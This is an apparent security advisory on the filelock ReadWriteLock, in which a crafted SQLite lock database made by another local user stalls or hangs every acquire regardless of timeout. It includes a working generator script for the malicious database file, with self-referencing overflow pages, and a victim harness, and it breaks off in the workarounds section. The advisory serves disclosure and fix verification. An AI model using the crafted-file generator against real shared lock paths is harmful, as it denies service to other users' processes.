filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout

Scope and preconditions

• The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (0666), which is the setup a lock shared between accounts needs. In a 1777 directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is 0666.
• Sticky directories and kernel settings. In a sticky world-writable directory such as /tmp, Linux with fs.protected_regular=2 (a kernel setting) refuses the lock user's O_CREAT open of a file owned by the other account with EACCES. A database owned by the other user does not work there. That does not cover a 0666 database owned by the lock user. The scanner did not test systems with fs.protected_regular=0 (the kernel's own default).
• Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.
• Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.

Affected code

At the scanned commit b831496b0273: _configure_and_begin runs PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY; on a fresh connection, and for a read lock SELECT name FROM sqlite_master LIMIT 1 at line 832. The code in _do_acquire_inner closes the previous connection and opens a new one on every acquire. The only content checks are _open_lock_database (regular file) and _raise_if_wal (20 header bytes).

Introduced

The acquire path dates from cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)", 2026-02-12), first released in 3.20.4 (verified: git tag --contains cfd4446 gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.

Mechanism

PRAGMA journal_mode=MEMORY is the first statement that needs the schema. SQLite reads every row of sqlite_master and parses each row's sql text there. Run one at a time on the crafted file, PRAGMA busy_timeout returns at once and PRAGMA journal_mode=MEMORY takes the whole time. The read-mode SELECT needs the schema too. The caller's timeout reaches SQLite only as busy_timeout (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. blocking=False and timeout=0 reach SQLite as busy_timeout=0 and stall the same way (2.4 s each with a 5-row file). acquire_write runs the same pragma. AsyncReadWriteLock.read_lock(timeout=1) stalls the same way (4.7 s with 10 rows; wrapping the acquire in asyncio.wait_for(..., 2) does not return earlier). A second acquire_read on the same instance stalls for as long as the first.

The constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in _configure_and_begin at the executescript call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.

Long schema rows. Each sqlite_master row is ('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…') with an sql text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the "next overflow page" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid CREATE TABLEs, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise Timeout.

Measured with read_lock(timeout=1): 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises MemoryError from line 816.

Looping interior pages. The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls read_lock(timeout=1) for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).

At the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are sqlite_master interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of sqlite_master by 661.

The row is not a valid schema entry, and that does not stop the scan: SQLite raises sqlite3.DatabaseError: malformed database schema (?) only after the last row. One level raises DatabaseError at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file acquire_write(timeout=1), acquire_read(blocking=False) and acquire_read(timeout=0) spin on the same line. SIGINT does not raise KeyboardInterrupt (the process was still running at 100% CPU 4 s after kill -INT), because the thread does not leave the one SQLite call.

Reproduction

The scanner's reproducer for ANT-2026-NFPRHMYJ, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import resource
import shutil
import subprocess
import sys
import time

# set up: a cache directory both accounts can write, without the sticky bit
shared_dir = "/tmp/shared-cache"
shutil.rmtree(shared_dir, ignore_errors=True)
os.mkdir(shared_dir)
os.chmod(shared_dir, 0o777)
lock_db = f"{shared_dir}/cache.lock.db"

# attack: the attacker creates the lock database first, with 50 schema rows
subprocess.run(
    [sys.executable, "/tmp/repro.d/make_stalling_db.py", lock_db, "50"],
    user="attacker", group="attacker", extra_groups=[], check=True,
)
print("lock database uses", os.stat(lock_db).st_blocks * 512, "bytes of disk", flush=True)

# victim: an application takes the read lock with a one-second timeout
started = time.monotonic()
subprocess.run(
    [sys.executable, "/tmp/repro.d/victim_reader.py", lock_db],
    user="victim", group="victim", extra_groups=[], timeout=600,
)
victim_ran_for = time.monotonic() - started

# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout
victim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024  # the victim is the largest child
print(f"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB")
print("BUG" if victim_ran_for > 10 else "OK")

repro.d/make_stalling_db.py

#!/usr/bin/env python3
# usage: make_stalling_db.py <database path> <number of schema rows>
#
# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:
# every row's text continues on one overflow page whose "next overflow page" field names itself.
import os
import struct
import sys

database, schema_rows = sys.argv[1], int(sys.argv[2])

PAGE_SIZE = 4096
LOOP_PAGE = 2
COMMENT_LEN = 999_999_000  # keeps each sql text just under SQLite's 1,000,000,000-byte string limit
CLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2  # SQLite refuses a record longer than page size x pages in the file
TABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D


def varint(value):
    groups = [value & 0x7F]
    while value := value >> 7:
        groups.insert(0, value & 0x7F | 0x80)
    return bytes(groups)


def schema_row_cell(rowid):
    # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error
    name = b"t%04d" % rowid
    sql_start = b"CREATE TABLE " + name + b"(x) --"
    sql_len = len(sql_start) + COMMENT_LEN
    serial_types = b"".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])
    record_start = varint(1 + len(serial_types)) + serial_types + b"table" + name + name + b"\x02" + sql_start
    record_len = len(record_start) + COMMENT_LEN
    # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page
    min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35
    local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)
    if local > max_local:
        local = min_local
    return varint(record_len) + varint(rowid) + record_start.ljust(local, b"A") + struct.pack(">I", LOOP_PAGE)


def btree_page(page_type, cells, right_child=b"", header_offset=0):
    page = bytearray(PAGE_SIZE)
    content_start = PAGE_SIZE
    cell_pointers = b""
    for cell in cells:
        content_start -= len(cell)
        page[content_start : content_start + len(cell)] = cell
        cell_pointers += struct.pack(">H", content_start)
    header = struct.pack(">BHHHB", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers
    page[header_offset : header_offset + len(header)] = header
    return page


# pages 3 and up: the leaves of sqlite_master, about eight rows each
cells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]
rows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)
leaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]

# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text
loop_page = struct.pack(">I", LOOP_PAGE) + b"A" * (PAGE_SIZE - 4)

# page 1: the database header, then the root of sqlite_master with one child per leaf
first_leaf, last_leaf = 3, 3 + len(leaves) - 1
children = [struct.pack(">I", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]
root_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(">I", last_leaf), header_offset=100)
root_page[:100] = b"".join([
    b"SQLite format 3\0",
    struct.pack(">H", PAGE_SIZE),
    bytes([1, 1]),  # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)
    bytes([0, 64, 32, 32]),  # reserved bytes per page and the three fixed payload fractions
    struct.pack(">I", 1),  # file change counter
    struct.pack(">I", CLAIMED_PAGES),  # database size in pages
    struct.pack(">II", 0, 0),  # no freelist
    struct.pack(">II", 1, 4),  # schema cookie, schema format
    struct.pack(">II", 0, 0),  # default cache size, no auto-vacuum
    struct.pack(">I", 1),  # text encoding: UTF-8
    struct.pack(">III", 0, 0, 0),  # user version, incremental vacuum, application id
    bytes(20),
    struct.pack(">I", 1),  # version-valid-for equals the change counter, so SQLite trusts the page count above
    struct.pack(">I", 3040001),  # SQLite version that wrote the file
])

with open(database, "wb") as file:
    file.write(root_page + loop_page + b"".join(leaves))
    written = file.tell()
    file.truncate(CLAIMED_PAGES * PAGE_SIZE)  # SQLite also refuses a file shorter than it claims; this stays a hole
os.chmod(database, 0o666)  # the victim's ReadWriteLock opens the database read-write
print(f"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}")

repro.d/victim_reader.py

import sys
import time

from filelock import ReadWriteLock, Timeout

lock = ReadWriteLock(sys.argv[1])
started = time.monotonic()
try:
    with lock.read_lock(timeout=1):
        outcome = "acquired"
except Timeout:
    outcome = "timed out"
print(f"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s")

Failure sequence

flowchart TB
    P0["other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user"] --> P1["lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted"]
    P1 --> P2["PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading"]
    P2 --> P3["50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout"]
    P2 --> P4["6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed"]
    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;
    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;
    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
    class P0,P1,P2 info;
    class P3,P4 bad;

Evidence

The scanner's reproducer runs as root and drops to attacker and victim. It recreates /tmp/shared-cache with mode 0777 and no sticky bit. It runs make_stalling_db.py /tmp/shared-cache/cache.lock.db 50 as attacker. That script writes the header and the sqlite_master root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid CREATE TABLE tNNNN(x) --AAAA… rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode 0666. It then runs victim_reader.py (ReadWriteLock(path) and one with lock.read_lock(timeout=1):) as victim and times it:

attacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632
lock database uses 36864 bytes of disk
victim: read_lock(timeout=1) acquired after 24.6 s
victim process ran for 24.8 s, peak RSS 981 MB
BUG

The verdict is BUG when the victim process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (looping_db.py) builds the looping file; the same victim_reader.py run on it as victim does not return. A victim process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a 1777 directory a 0666 database owned by victim, overwritten in place with the looping file, hung the next acquire.

Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head the victim process stops with a ValueError after 0.1 s at 24 MB peak RSS and the reproducer prints OK.

Impact

Another local user who can create or replace the lock database makes every acquire_read / acquire_write of every process using that ReadWriteLock run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of timeout or blocking=False. This goes beyond what holding the lock gives that user, because a held lock ends in Timeout when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, Timeout is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.

Workarounds

• Keep the ReadWriteLock database in a directory that only the locking account (or root